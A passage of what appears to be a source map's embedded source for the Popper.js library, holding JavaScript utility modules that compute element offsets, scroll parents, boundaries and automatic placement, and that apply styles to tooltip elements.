*/\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","import computeAutoPlacement from '../utils/computeAutoPlacement';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nexport default function update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  let data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {},\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(\n    this.state,\n    this.popper,\n    this.reference,\n    this.options.positionFixed\n  );\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(\n    this.options.placement,\n    data.offsets.reference,\n    this.popper,\n    this.reference,\n    this.options.modifiers.flip.boundariesElement,\n    this.options.modifiers.flip.padding\n  );\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(\n    this.popper,\n    data.offsets.reference,\n    data.placement\n  );\n\n  data.offsets.popper.position = this.options.positionFixed\n    ? 'fixed'\n    : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","import isModifierEnabled from '../utils/isModifierEnabled';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * Destroys the popper.\n * @method\n * @memberof Popper\n */\nexport default function destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import setupEventListeners from '../utils/setupEventListeners';\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nexport default function enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(\n      this.reference,\n      this.options,\n      this.state,\n      this.scheduleUpdate\n    );\n  }\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import removeEventListeners from '../utils/removeEventListeners';\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger `onUpdate` callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nexport default function disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import setStyles from '../utils/setStyles';\nimport setAttributes from '../utils/setAttributes';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport computeAutoPlacement from '../utils/computeAutoPlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nexport default function applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, 